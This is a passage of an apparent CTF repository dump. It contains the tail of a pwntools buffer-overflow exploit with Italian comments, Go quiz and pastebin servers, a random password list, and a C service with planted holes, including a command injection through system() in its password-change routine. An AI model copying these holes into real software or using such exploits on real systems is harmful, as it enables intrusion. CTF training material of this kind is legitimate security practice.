29 | gdb.attach(io, gdbscript=gdbscript)
30 | return io
31 |
32 | def start(argv=[], *a, **kw):
33 | '''Start the exploit against the target.'''
34 | if args.LOCAL:
35 | return start_local(argv, *a, **kw)
36 | else:
37 | return start_remote(argv, *a, **kw)
38 |
39 | # Specify your GDB script here for debugging
40 | # GDB will be launched if the exploit is run via e.g.
41 | # ./exploit.py GDB
42 | gdbscript = '''
43 | tbreak main
44 | continue
45 | '''.format(**locals())
46 |
47 | #===========================================================
48 | # EXPLOIT GOES HERE
49 | #===========================================================
50 | # Arch: amd64-64-little
51 | # RELRO: Partial RELRO
52 | # Stack: No canary found
53 | # NX: NX enabled
54 | # PIE: No PIE (0x400000)
55 |
56 | io = start()
57 | # la vulnerabilità è un buffer overflow sulla gets(name) infatti gets prende input finche non trova un \n non controllando la dimensione del buffer da riempire
58 | # per questo bisogna mandare 72 bytes di garbage per rempire lo stack poi successivamente andare a sovrascrivere
59 | #il return address con l'indirizzo della function win che era visibile trammite gdb eseguendo il comando gdb: info funtions
60 | #0x0000000000400786
61 |
62 | payload=flat(
63 | b'A'*72,
64 | p64(0x0000000000400786)
65 | )
66 | io.sendline(payload)
67 |
68 |
69 | io.interactive()
70 |
71 |
--------------------------------------------------------------------------------
/havcebin/cmd/havcebind/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "flag"
6 | "fmt"
7 | "havcebin/filesystem"
8 | "havcebin/http"
9 | "havcebin/http/html"
10 | "log"
11 | "os"
12 | "os/signal"
13 | "os/user"
14 | "path/filepath"
15 | "strings"
16 | )
17 |
18 | func main() {
19 | // Setup signal handler. We want to call Done() when os.Interrupt (i.e. Ctrl+c)
20 | // arrives.
21 | ctx, _ := signal.NotifyContext(context.Background(), os.Interrupt)
22 |
23 | m := NewMain()
24 |
25 | // Parse command line flags.
26 | if err := m.ParseFlags(ctx, os.Args[1:]); err == flag.ErrHelp {
27 | os.Exit(1)
28 | } else if err != nil {
29 | fmt.Fprintln(os.Stderr, err)
30 | os.Exit(1)
31 | }
32 |
33 | // Execute program.
34 | if err := m.Run(ctx); err != nil {
35 | m.Close()
36 | fmt.Fprintln(os.Stderr, err)
37 | os.Exit(1)
38 | }
39 |
40 | // Wait for CTRL-C.
41 | <-ctx.Done()
42 |
43 | // Clean up program.
44 | if err := m.Close(); err != nil {
45 | fmt.Fprintln(os.Stderr, err)
46 | os.Exit(1)
47 | }
48 | }
49 |
50 | type Main struct {
51 | Config Config
52 | HTTPServer *http.Server
53 | }
54 |
55 | func NewMain() *Main {
56 | return &Main{
57 | HTTPServer: http.NewServer(),
58 | }
59 | }
60 |
61 | // Run executes the program. The configuration should already be set up before
62 | // calling this function.
63 | func (m *Main) Run(ctx context.Context) (err error) {
64 | // Instantiate filesystem-backed services.
65 | pasteService := filesystem.NewPasteService(m.Config.SaveDirectory)
66 |
67 | // Copy configuration settings to the HTTP server.
68 | m.HTTPServer.Addr = m.Config.ListenAddress
69 |
70 | // Attach underlying services to the HTTP server.
71 | m.HTTPServer.PasteService = pasteService
72 |
73 | // Get template for displaying paste.
74 | tmpl, err := html.GetCodeTemplate()
75 | if err != nil {
76 | return nil
77 | }
78 |
79 | m.HTTPServer.CodeTemplate = tmpl
80 |
81 | // Start the HTTP server.
82 | if err := m.HTTPServer.Open(); err != nil {
83 | return err
84 | }
85 |
86 | log.Printf("running: url=%q", m.HTTPServer.URL())
87 |
88 | return nil
89 | }
90 | func (m *Main) Close() error {
91 | if m.HTTPServer != nil {
92 | if err := m.HTTPServer.Close(); err != nil {
93 | return err
94 | }
95 | }
96 | return nil
97 | }
98 |
99 | type Config struct {
100 | // The HTTP listen address, default 0.0.0.0:8080.
101 | ListenAddress string
102 | // The location where the pastebins sill be saved.
103 | SaveDirectory string
104 | }
105 |
106 | // ParseFlags parses the command line arguments.
107 | func (m *Main) ParseFlags(ctx context.Context, args []string) error {
108 |
109 | // Our flag set is very simple. It only includes a config path.
110 | fs := flag.NewFlagSet("havcebind", flag.ContinueOnError)
111 | fs.StringVar(&m.Config.ListenAddress, "listen", ":8080", "listen address")
112 | fs.StringVar(&m.Config.SaveDirectory, "save-dir", "./code", "save directory")
113 | err := fs.Parse(args)
114 | if err != nil {
115 | return err
116 | }
117 |
118 | // The expand() function is here to automatically expand "~" to the user's
119 | // home directory.
120 | m.Config.SaveDirectory, err = expand(m.Config.SaveDirectory)
121 | if err != nil {
122 | return err
123 | }
124 |
125 | return nil
126 | }
127 |
128 | // expand returns path using tilde expansion. This means that a file path that
129 | // begins with the "~" will be expanded to prefix the user's home directory.
130 | func expand(path string) (string, error) {
131 | // Ignore if path has no leading tilde.
132 | if path != "~" && !strings.HasPrefix(path, "~"+string(os.PathSeparator)) {
133 | return path, nil
134 | }
135 |
136 | // Fetch the current user to determine the home path.
137 | u, err := user.Current()
138 | if err != nil {
139 | return path, err
140 | } else if u.HomeDir == "" {
141 | return path, fmt.Errorf("home directory unset")
142 | }
143 |
144 | if path == "~" {
145 | return u.HomeDir, nil
146 | }
147 | return filepath.Join(u.HomeDir, strings.TrimPrefix(path, "~"+string(os.PathSeparator))), nil
148 | }
--------------------------------------------------------------------------------
/quiz/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "context"
5 | "crypto/rand"
6 | "errors"
7 | "fmt"
8 | "log"
9 | "math/big"
10 | "net"
11 | "os"
12 | "os/signal"
13 | "sync"
14 | "time"
15 | )
16 |
17 | type Server struct {
18 | ln net.Listener
19 |
20 | quit chan struct{}
21 | wg sync.WaitGroup
22 | }
23 |
24 | func NewServer(ln net.Listener) *Server {
25 | return &Server{ln: ln, quit: make(chan struct{})}
26 | }
27 |
28 | func (s *Server) Serve() {
29 | s.wg.Add(1)
30 | go s.serve()
31 | }
32 |
33 | func Run(ctx context.Context) error {
34 | ln, err := net.Listen("tcp4", ":1337")
35 | if err != nil {
36 | return err
37 | }
38 |
39 | s := NewServer(ln)
40 | s.Serve()
41 | fmt.Println("Listening on :1337")
42 |
43 | <-ctx.Done()
44 | s.Close()
45 | return nil
46 | }
47 |
48 | func (s *Server) Close() {
49 | close(s.quit)
50 | s.ln.Close()
51 | s.wg.Wait()
52 | }
53 |
54 | func (s *Server) serve() {
55 | defer s.wg.Done()
56 |
57 | for {
58 | conn, err := s.ln.Accept()
59 | if err != nil {
60 | select {
61 | case <-s.quit:
62 | return
63 | default:
64 | log.Println("accept error", err)
65 | }
66 | } else {
67 | s.wg.Add(1)
68 | conn.SetDeadline(time.Now().Add(time.Second * 5))
69 | go func() {
70 | if err := s.handleConnection(conn); errors.Is(err, os.ErrDeadlineExceeded) {
71 | conn.SetDeadline(time.Now().Add(time.Second * 3))
72 | if _, err := fmt.Fprintln(conn, "Time's up! Please retry another time."); err != nil {
73 | log.Println(err)
74 | }
75 | } else if err != nil {
76 | log.Println(err)
77 | }
78 | conn.Close()
79 | s.wg.Done()
80 | }()
81 | }
82 | }
83 | }
84 |
85 | func generateBigInt() (*big.Int, error) {
86 | // Max value, a 130-bits integer, i.e 2^130 - 1
87 | var max *big.Int = big.NewInt(0).Exp(big.NewInt(2), big.NewInt(230), nil)
88 | // Generate cryptographically strong pseudo-random between [0, max)
89 | n, err := rand.Int(rand.Reader, max)
90 | if err != nil {
91 | return nil, err
92 | }
93 |
94 | return n, nil
95 | }
96 |
97 | func randomOperation() string {
98 | ops := []string{"+", "-", "*"}
99 | return ops[time.Now().UnixMicro()%3]
100 | }
101 |
102 | func (s *Server) handleConnection(c net.Conn) error {
103 | _, err := fmt.Fprintln(c, `
104 | $$\
105 | \__|
106 | $$$$$$\ $$\ $$\ $$\ $$$$$$$$\
107 | $$ __$$\ $$ | $$ |$$ |\____$$ |
108 | $$ / $$ |$$ | $$ |$$ | $$$$ _/
109 | $$ | $$ |$$ | $$ |$$ | $$ _/
110 | \$$$$$$$ |\$$$$$$ |$$ |$$$$$$$$\
111 | \____$$ | \______/ \__|\________|
112 | $$ |
113 | $$ |
114 | \__|
115 |
116 | `)
117 | if err != nil {
118 | return err
119 | }
120 | _, err = fmt.Fprintln(c, `Hello wanderer! Welcome to the havce quiz.
121 | You will be asked 50 questions on basic math.
122 | You must answer in less than 5 seconds to win a juicy prize.
123 | Let's start!`)
124 | if err != nil {
125 | return err
126 | }
127 |
128 | for i := 0; i < 50; i++ {
129 | a, err := generateBigInt()
130 | if err != nil {
131 | fmt.Fprintln(c, "ooooopsie, there was an error generating your numbers. quitting.")
132 | return err
133 | }
134 |
135 | b, err := generateBigInt()
136 | if err != nil {
137 | fmt.Fprintln(c, "ooooopsie, there was an error generating your numbers. quitting.")
138 | return err
139 | }
140 |
141 | op := randomOperation()
142 | var result *big.Int
143 |
144 | switch op {
145 | case "+":
146 | result = big.NewInt(0).Add(a, b)
147 | case "-":
148 | result = big.NewInt(0).Sub(a, b)
149 | case "*":
150 | result = big.NewInt(0).Mul(a, b)
151 | }
152 |
153 | if _, err := fmt.Fprintf(c, "Please submit %v %s %v\n> ", a, op, b); err != nil {
154 | return err
155 | }
156 |
157 | var user string
158 | if _, err := fmt.Fscanln(c, &user); err != nil {
159 | return err
160 | }
161 |
162 | i := big.NewInt(0)
163 | i.SetString(user, 10)
164 |
165 | if i.Cmp(result) != 0 {
166 | fmt.Fprintf(c, "Nope, you lost! The correct answer was: %v. Please retry another time.\n", result)
167 | return fmt.Errorf("user lost")
168 | }
169 |
170 | if _, err := fmt.Fprintln(c, "Good job!"); err != nil {
171 | return err
172 | }
173 | }
174 |
175 | flag := os.Getenv("FLAG")
176 |
177 | if _, err := fmt.Fprintf(c, "You won! Congrats, here's your flag: %s.", flag); err != nil {
178 | return err
179 | }
180 |
181 | return nil
182 | }
183 |
184 | func main() {
185 | ctx, _ := signal.NotifyContext(context.Background(), os.Interrupt)
186 |
187 | if err := Run(ctx); err != nil {
188 | fmt.Fprintf(os.Stderr, "error: %v", err)
189 | os.Exit(1)
190 | }
191 | }
192 |
--------------------------------------------------------------------------------
/psw_check/password.txt:
--------------------------------------------------------------------------------
1 | gSlY5jLg1D
2 | XaOoODR8XG
3 | MIuOL4N8Sj
4 | jBmzyh4Cnx
5 | fXndy78vn7
6 | CYaTn4Bw95
7 | StPEWuRAyf
8 | cZ14XeyF1q
9 | qPrx6Q2p80
10 | eyn6GdiKsc
11 | CiQ9I65cN6
12 | D3pNf1F6TU
13 | BtYp8k33j9
14 | TkxhKwIpSD
15 | baanVLxk3J
16 | Fs1mbRzL33
17 | oOmKT2NCtz
18 | J8HBicAMwf
19 | QUD2yMjsiu
20 | hm4umDRElQ
21 | UfSUbmSRtA
22 | 0s6SKQti4f
23 | EDOPUZZAAA
24 | CETJdvu4eE
25 | SYMmjbdixL
26 | j21tEcT4E8
27 | kIJCWqkIpV
28 | kRy4BfJnyl
29 | kGDQGo2M9W
30 | cDMHb8B2an
31 | 8S0sAOFlzc
32 | NZzMbBt2Ob
33 | PTzKvZwaza
34 | nCKJcWatIf
35 | AnH3ojAeEF
36 | 30FuW5qJbn
37 | Rf0wxYfubi
38 | om86GqNp9Y
39 | KQwGYBRpyA
40 | 37HhBKOBdy
41 | rIYQNkwnhh
42 | 70zAUuSSze
43 | PofbGQgBrB
44 | jrYzAeRCgI
45 | sjqT6Lh1qo
46 | ZrLOhAqaMg
47 | ZrEbLotlqb
48 | juuxnwnJJH
49 | H20RdncB5B
50 | W4NgJoncLd
51 | cdd6a2HAwZ
52 | zcCTk8wH6Z
53 | 0XsrWmthXr
54 | cCB5uVApUy
55 | mxA9VF5WXW
56 | aYnfYyyWgy
57 | Ubc9e3gX7k
58 | 48Hr5uImhS
59 | ZeiFeedaYt
60 | cRFBINNMKk
61 | O5m4JhFGGJ
62 | 6JVJyakZgf
63 | 9xRfIYxqi7
64 | X0UlHAEj95
65 | MZl1A2Her2
66 | IHwncs44ZM
67 | UiJ2JH0hsw
68 | ZO1GcYeSDW
69 | nqFbmw6asu
70 | E47lonfmMz
71 | i9Ku9c3tOh
72 | ThHSuqhqqf
73 | AWuBNwbG2u
74 | CGAgf47y9z
75 | UF3pbhaUKD
76 | W6ltxAAnqb
77 | l5EdllqGZU
78 | uaTjOvxNsi
79 | qVEfDFwQYL
80 | 52gAxfvXEG
81 | nSaSu3VKZz
82 | mQQYdcqLvq
83 | h1pjKmCYs6
84 | l3ACweLBfv
85 | iu8kEROhOI
86 | ylcC9Cyx7C
87 | d9z716WfJP
88 | B7ztknNX2m
89 | xjErzd3LdF
90 | uvSWe4phrr
91 | EeXIlt8ijI
92 | aVsHYBWZUh
93 | 9S0W1EAxO8
94 | p3lMwtGk4T
95 | Ka0YkTu6o2
96 | CKWBdukqJz
97 | Ml5lQDwNH5
98 | 9w3PHIANDG
99 | xyVy8rhLcm
100 | 3htzqohFXu
101 | IYzyzYefEF
102 | Dq1zsDhsKK
103 | V2Rnm5wlL2
104 | KyqNAjZ6H3
105 | 4LU7A5ue4g
106 | UP2UsEKPxe
107 | ZL8Z4RI9Il
108 | rykz4tC0KE
109 | eowuUrtlq7
110 | oV3ipP1RkG
111 | dCusaahqM2
112 | wML38LXVZz
113 | dswYUpz4dl
114 | gra8KRsKxh
115 | HNLFhvVQu4
116 | ugw3mfp2cS
117 | 8D7ORSwR7u
118 | EhZFaiaMjI
119 | Gni7BEZ4mD
120 | CeNrBRelhp
121 | v40SGSuLof
122 | H7xPTrLQ5J
123 | QmAxo3igMZ
124 | SQbLIzuwJP
125 | Nb6ZGmx6kf
126 | Kcyb7FzCHJ
127 | fiyvjvHmQy
128 | zPWo5Vmwc3
129 | gJyXdLeEdD
130 | cB1QEipLw2
131 | zox3PD8uGy
132 | gdHDCTkBAC
133 | MhH8o8FKbt
134 | BDj61KljMc
135 | VF3Wj1vaAQ
136 | vMpUaFHe4D
137 | 0Cd631iKgX
138 | yK2KuZlv1j
139 | STFLuOFEyR
140 | Utg7gctS8N
141 | jxr24wKy5x
142 | MFWmpWYJjW
143 | wZ1vSzqo7m
144 | k8eAx3OVZg
145 | UOn2L3mxDZ
146 | 6VWCt5dLIG
147 | 9WfXdkVbDc
148 | V10pvoTRjh
149 | kMoNi5akeZ
150 | yLcaf9leSU
151 | adm4DvRp8g
152 | 5da5F3pgfp
153 | CSzDGHONRI
154 | euwlZSeBAe
155 | Uujbfq8ZPZ
156 | QRqYj32bL7
157 | BQj7ekarKR
158 | crEnvHhmf9
159 | vJfUtUfNr4
160 | NNVNPptqVv
161 | VtZOBVWDYX
162 | KK3Wv6lPXG
163 | 5eWGSrpm5e
164 | ErmByIMdFR
165 | aoUzwi0Cte
166 | cyRUYhlr0E
167 | BBFnYyCWpy
168 | E0OeWeN9wu
169 | mUuJxhLnoL
170 | tAjmwKLqp3
171 | FZxKuStJgJ
172 | vnL7XHR5wj
173 | D9WmKl58fI
174 | NfY4G72Wcf
175 | JLi21EKkxr
176 | fWTEG3myip
177 | 1cBdamLPEK
178 | yelJR0YQiH
179 | LlTvTUJw1h
180 | JphgNi2KVq
181 | Xmrbm3d2bI
182 | x51hPydY7q
183 | THO0QQASuI
184 | VQwDzP2aEy
185 | UZ36i4HYZl
186 | SBqkFrUXQr
187 | MdGFzYIchI
188 | Diihq7wqrm
189 | O0UlDUXJsl
190 | REUWBM5PzI
191 | jyiBihrQXu
192 | IvU5eEgsMu
193 | KFOInZCKgQ
194 | ME1ytowD6e
195 | MNuBlgfMNd
196 | vnMXZlbQvl
197 | t4oCa5zVlg
198 | oFfkdnE6ky
199 | LqzIMnMT6U
200 | cCJBnKiqSC
201 | B00kOiHIPY
202 | HlDZ7FIP0a
203 | vIghpnH7Ec
204 | lti7ABRLJy
205 | pSeOk7UYGb
206 | fVDFzvZUmS
207 | 9agftUDfyz
208 | IwT16HwVLY
209 | fHHkBFGrUA
210 | kbHiA2RNYn
211 | eHNnQGwREt
212 | t4kfebZaU9
213 | HBY1qiUu0I
214 | zFz6bTxMTa
215 | kU8DDfC0dS
216 | SSppjdP5ac
217 | dJEuX6t7OV
218 | XRmuPDEHTM
219 | 14QxsnpTij
220 | Ptvwuyy2nO
221 | DalW3RksYO
222 | CE631CYN06
223 | SYeRp5XceU
224 | 0e16eQVBge
225 | n8o0e5W5Hq
226 | Lk87xYwz9u
227 | B9xXvFPnhi
228 | tJiDZctOFt
229 | fINnHpdBry
230 | W7ku3ce9wN
231 | fFFQVHN8Hk
232 | Wgbse3s5bG
233 | GVfUT3HTNB
234 | dk7E1j29xW
235 | 5CNvlMJSGc
236 | eNavpFtEeN
237 | A8wXrh2vdn
238 | sh2LWe1Ypi
239 | xpHwWQlOUA
240 | euYMQKEZpn
241 | Y2XGu174U5
242 | GgliCityTj
243 | tQ7jrvOkdy
244 | xSX73IJI7w
245 | lmE5apcAiF
246 | PDPX69KmaM
247 | 9uwOx07tCq
248 | 2R5WCkx6tC
249 | 7iN4NIR1BF
250 | iBT3JxMGZM
251 | BJAvkMmJkm
252 | uLhVFKLLSD
253 | KBF07UGsxR
254 | 1F6IPKXcc6
255 | X4CQarXLSJ
256 | nCl0FDLpp8
257 | rxVQCsG6RQ
258 | eT7VoV2roj
259 | y3xwkbtEl2
260 | BixHiQskpW
261 | 3OIPrqHQs9
262 | HpOXAlEoa2
263 | zkPEteAcZQ
264 | QgYfmevSdW
265 | dTZsSLjUGx
266 | Vz2qI8tA2n
267 | EpyceZYojZ
268 | uuzr7adS1V
269 | xhO6p27HEO
270 | AGDVelvhKd
271 | MONWq71gyq
272 | 647VBAxZXO
273 | UPapoMhnNG
274 | xuDBhslP20
275 | Lh3cn35KrT
276 | IXXoJfNfZ2
277 | 7Vnsl3dvc6
278 | 7Yq3iPginJ
279 | iB7mRJHCPA
280 | Nd6kdn9Ie0
281 | IoWsOeRKGH
282 | HIu7gGvvvA
283 | w0OAaQ2aad
284 | 31Mz86rpt2
285 | aiw9R3Ip3E
286 | R30uk5vbXv
287 | RHxKBZmK0d
288 | jIfoenpPR1
289 | NGjKp5HNLD
290 | ieT7tsnach
291 | ATpRHEU02q
292 | vpT2GGeIhY
293 | 1a1DBcDM2z
294 | eiVg3M6aaZ
295 | 0F0i9V3D67
296 | KPtJACdM0u
297 | QJuYKrrsZf
298 | 579aCvXc2J
299 | 74YWr4oXh3
300 | 3oQOKWLRWH
301 |
--------------------------------------------------------------------------------
/scope/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #define BUF_LEN 256
10 |
11 | typedef struct {
12 | char username[24];
13 | char password[64];
14 | } User;
15 |
16 | // Nothing to see here.
17 | void setup() {
18 | setvbuf(stdin, NULL, _IONBF, 0);
19 | setvbuf(stdout, NULL, _IONBF, 0);
20 | setvbuf(stderr, NULL, _IONBF, 0);
21 | }
22 |
23 | void print_banner() {
24 | puts(" _______ _______ ______ ______ ______ ");
25 | puts(" / | / | / \\ / \\ / \\ ");
26 | puts("/$$$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$ |/$$$$$$ |");
27 | puts("$$ \\ $$ | $$ | $$ |$$ | $$ |$$ $$ |");
28 | puts(" $$$$$$ |$$ \\_____ $$ \\__$$ |$$ |__$$ |$$$$$$$$/ ");
29 | puts("/ $$/ $$ |$$ $$/ $$ $$/ $$ |");
30 | puts("$$$$$$$/ $$$$$$$/ $$$$$$/ $$$$$$$/ $$$$$$$/ ");
31 | puts(" $$ | ");
32 | puts(" $$ | by havce ");
33 | puts(" $$/ v1.0-final ");
34 | puts("");
35 | puts("Welcome to the scope service by havce!");
36 | puts("A SaaS CLI service where you can securely store your oscilloscope");
37 | puts("measurements in a safe(tm) fashion.");
38 | puts("");
39 | }
40 |
41 | int read_details(User *user) {
42 | printf("Username: ");
43 | if (!fgets(user->username, sizeof(user->username), stdin) && ferror(stdin)) {
44 | perror("fgets");
45 | exit(EXIT_FAILURE);
46 | }
47 |
48 | // Remove trailing newlines.
49 | user->username[strcspn(user->username, "\n")] = '\0';
50 |
51 | // We don't want empty usernames.
52 | if (strnlen(user->username, sizeof(user->username)) == 0) {
53 | return 0;
54 | }
55 |
56 | printf("Password: ");
57 | if (!fgets(user->password, sizeof(user->password), stdin) && ferror(stdin)) {
58 | perror("fgets");
59 | exit(EXIT_FAILURE);
60 | }
61 |
62 | // Remove trailing newlines.
63 | user->password[strcspn(user->password, "\n")] = '\0';
64 |
65 | return 1;
66 | }
67 |
68 | // No path traversals, please.
69 | void sanitize_name(char *buf, size_t size) {
70 | for (int i = 0; (i < size) || buf[i] == 0; i++) {
71 | if ((buf[i] == '.') || (buf[i] == '/')) {
72 | buf[i] = '-';
73 | }
74 |
75 | // Even on Windows. Even if this program is non-portable.
76 | if (buf[i] == '\\') {
77 | buf[i] = '-';
78 | }
79 | }
80 | }
81 |
82 | // Given a ptr to User struct, return a path to the
83 | // relative, cleaned up, user file. Needs to be free'd
84 | // after use, by the user.
85 | char *get_user_path(User *user) {
86 | char *prefix = "./users/";
87 | size_t len = strlen(prefix) + sizeof(user->username);
88 |
89 | // Since calloc zeroes memory, we (try to) mitigate UAFs, should
90 | // there be any.
91 | char *buf = calloc(1, len + 1);
92 | if (buf == NULL) {
93 | perror("calloc");
94 | exit(EXIT_FAILURE);
95 | }
96 |
97 | // We don't want path traversals.
98 | sanitize_name(user->username, sizeof(user->username));
99 |
100 | // Hacky hack to avoid buffer overflows.
101 | // Username pippo gets translated to a path ./users/pippo.
102 | if (snprintf(buf, len, "%s%s", prefix, user->username) < 0) {
103 | perror("snprintf");
104 | exit(EXIT_FAILURE);
105 | }
106 |
107 | return buf;
108 | }
109 |
110 | // Implements user registration.
111 | int regis(User *user) {
112 | char *path = NULL;
113 | FILE *file = NULL;
114 | int res = 0;
115 |
116 | if (!read_details(user)) {
117 | puts("Invalid details");
118 | goto cleanup;
119 | }
120 |
121 | path = get_user_path(user);
122 |
123 | file = fopen(path, "w+x");
124 | if (file == NULL) {
125 | switch (errno) {
126 | case EEXIST:
127 | printf("User %s already exists.\n", user->username);
128 | goto cleanup;
129 | case ENOENT:
130 | puts("Directory not found. Have you checked if users/ directory exists?");
131 | }
132 |
133 | perror("fopen");
134 | exit(EXIT_FAILURE);
135 | }
136 |
137 | if (!fputs(user->password, file) && ferror(file)) {
138 | perror("fputs");
139 | exit(EXIT_FAILURE);
140 | }
141 | res = 1;
142 |
143 | cleanup:
144 | if (file != NULL)
145 | fclose(file);
146 |
147 | if (path != NULL)
148 | free(path);
149 |
150 | return res;
151 | }
152 |
153 | // Implements user login.
154 | int login(User *user) {
155 | char buf[BUF_LEN];
156 | char *path = NULL;
157 | FILE *file = NULL;
158 | int auth = 0;
159 |
160 | if (!read_details(user)) {
161 | puts("Invalid details");
162 | return 0;
163 | }
164 |
165 | path = get_user_path(user);
166 |
167 | // Open user file read only.
168 | file = fopen(path, "r");
169 | if (file == NULL) {
170 | if (errno == ENOENT) {
171 | printf("Username %s not found\n", user->username);
172 | goto cleanup;
173 | }
174 |
175 | perror("fopen");
176 | exit(EXIT_FAILURE);
177 | }
178 |
179 | // Read the password.
180 | if (!fgets(buf, sizeof(buf), file) && ferror(file)) {
181 | perror("fgets");
182 | exit(EXIT_FAILURE);
183 | }
184 |
185 | // Check if password is correct.
186 | auth = strncmp(user->password, buf, BUF_LEN) == 0;
187 |
188 | cleanup:
189 | // Cleanup.
190 | if (file != NULL)
191 | fclose(file);
192 |
193 | if (path != NULL)
194 | free(path);
195 |
196 | return auth;
197 | }
198 |
199 | // Implements change password.
200 | int change_pwd(User *user) {
201 | char old_password[BUF_LEN];
202 | char buf[BUF_LEN];
203 | FILE *file = NULL;
204 | char *path = NULL;
205 | int res = 0;
206 |
207 | // Clear buffers on the stack.
208 | memset(old_password, 0, BUF_LEN);
209 | memset(buf, 0, BUF_LEN);
210 |
211 | printf("Username: ");
212 | if (!fgets(user->username, sizeof(user->username), stdin) && ferror(stdin)) {
213 | perror("fgets");
214 | exit(EXIT_FAILURE);
215 | }
216 | user->username[strcspn(user->username, "\n")] = '\0';
217 |
218 | if (strnlen(user->username, sizeof(user->username)) == 0) {
219 | puts("Invalid username");
220 | goto cleanup;
221 | }
222 |
223 | path = get_user_path(user);
224 |
225 | file = fopen(path, "r");
226 | if (file == NULL) {
227 | if (errno == ENOENT) {
228 | printf("User %s does not exist.\n", user->username);
229 | goto cleanup;
230 | }
231 |
232 | perror("fopen");
233 | exit(EXIT_FAILURE);
234 | }
235 |
236 | if (!fgets(old_password, BUF_LEN, file) && ferror(file)) {
237 | perror("fgets");
238 | exit(EXIT_FAILURE);
239 | }
240 |
241 | printf("Old password: ");
242 | if (!fgets(buf, BUF_LEN, stdin) && ferror(stdin)) {
243 | perror("fgets");
244 | exit(EXIT_FAILURE);
245 | }
246 |
247 | printf("New password: ");
248 | if (!fgets(user->password, sizeof(user->password), stdin) && ferror(stdin)) {
249 | perror("fgets");
250 | exit(EXIT_FAILURE);
251 | }
252 |
253 | // Remove trailing newlines.
254 | buf[strcspn(buf, "\n")] = '\0';
255 | old_password[strcspn(old_password, "\n")] = '\0';
256 | user->password[strcspn(user->password, "\n")] = '\0';
257 |
258 | // Check if user knows the old password.
259 | if (strncmp(old_password, buf, strlen(buf)) != 0) {
260 | puts("Old password is wrong!");
261 | goto cleanup;
262 | }
263 |
264 | // Reuse buf buffer.
265 | snprintf(buf, BUF_LEN, "echo -n \"%s\" > %s", user->password, path);
266 | res = system(buf) == 0;
267 |
268 | cleanup:
269 | if (file != NULL)
270 | fclose(file);
271 |
272 | if (path != NULL)
273 | free(path);
274 |
275 | return res;
276 | }
277 |
278 | void print_menu() {
279 | puts("1) Login.");
280 | puts("2) Register.");
281 | puts("3) Change password.");
282 | puts("4) Print version.");
283 | puts("5) Exit.");
284 | printf("> ");
285 | }
286 |
287 | int read_int() {
288 | char buf[8];
289 |
290 | if (!fgets(buf, sizeof(buf), stdin)) {
291 | perror("fgets");
292 | exit(EXIT_FAILURE);
293 | }
294 |
295 | return atoi(buf);
296 | }
297 |
298 | void print_version() { puts("Version v1.0-final."); }
299 |
300 | int check_admin(User *user) {
301 | return strncmp(user->username, "admin", sizeof(user->username)) == 0;
302 | }
303 |
304 | void show_list(User* user) {
305 | printf("Reading 1: recorded on 28-11-22 by %s.\n", user->username);
306 | puts("Reading 2: made on 1-12-22 by admin.");
307 | }
308 |
309 | void user_menu(User *user) {
310 | char buf[BUF_LEN];
311 | do {
312 | if (check_admin(user)) {
313 | printf("# ");
314 | } else {
315 | printf("$ ");
316 | }
317 |
318 | if (!fgets(buf, BUF_LEN, stdin) && ferror(stdin)) {
319 | perror("fgets");
320 | exit(EXIT_FAILURE);
321 | }
322 | buf[strcspn(buf, "\n")] = '\0';
323 |
324 | if (strncmp(buf, "exit", BUF_LEN) == 0) {
325 | printf("Good-bye %s!\n", user->username);
326 | return;
327 | } else if (strncmp(buf, "whoami", BUF_LEN) == 0) {
328 | printf("%s\n", user->username);
329 | continue;
330 | } else if (strncmp(buf, "list", 4) == 0) {
331 | show_list(user);
332 | continue;
333 | }
334 |
335 | printf("error: Elon has disabled the %s microservice.\n", buf);
336 |
337 | } while (1);
338 | }
339 |
340 | void menu() {
341 | int choice = 0;
342 | User *user = calloc(1, sizeof(User));
343 | if (user == NULL) {
344 | perror("calloc");
345 | exit(EXIT_FAILURE);
346 | }
347 |
348 | do {
349 | print_menu();
350 | choice = read_int();
351 | switch (choice) {
352 | case 1:
353 | if (!login(user)) {
354 | puts("Login failed. Please retry.");
355 | break;
356 | }
357 | puts("Logged in successfully!");
358 | user_menu(user);
359 | break;
360 | case 2:
361 | if (!regis(user)) {
362 | puts("Registration failed.");
363 | break;
364 | }
365 | printf("Successfully registered user %s.\n", user->username);
366 | user_menu(user);
367 | break;
368 | case 3:
369 | if (!change_pwd(user)) {
370 | puts("Failed to change password. Retry.");
371 | break;
372 | }
373 | puts("You can now login with the new password.");
374 | break;
375 | case 4:
376 | print_version();
377 | break;
378 | case 5:
379 | break;
380 | default:
381 | puts("Invalid choice. Try again.");
382 | }
383 | puts("");
384 | } while (choice != 5);
385 |
386 | // Free user, even if we're heading to bed.
387 | free(user);
388 | }
389 |
390 | int main() {
391 | setup();
392 | print_banner();
393 |
394 | menu();
395 | }
396 |
--------------------------------------------------------------------------------
/hidden-flag/package-lock.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "hidden-flag",
3 | "version": "1.0.0",
4 | "lockfileVersion": 2,
5 | "requires": true,
6 | "packages": {
7 | "": {
8 | "name": "hidden-flag",
9 | "version": "1.0.0",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.18.2"
13 | }
14 | },
15 | "node_modules/accepts": {
16 | "version": "1.3.8",
17 | "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
18 | "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
19 | "dependencies": {
20 | "mime-types": "~2.1.34",
21 | "negotiator": "0.6.3"
22 | },
23 | "engines": {
24 | "node": ">= 0.6"
25 | }
26 | },
27 | "node_modules/array-flatten": {
28 | "version": "1.1.1",
29 | "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
30 | "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
31 | },
32 | "node_modules/body-parser": {
33 | "version": "1.20.1",
34 | "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.1.tgz",
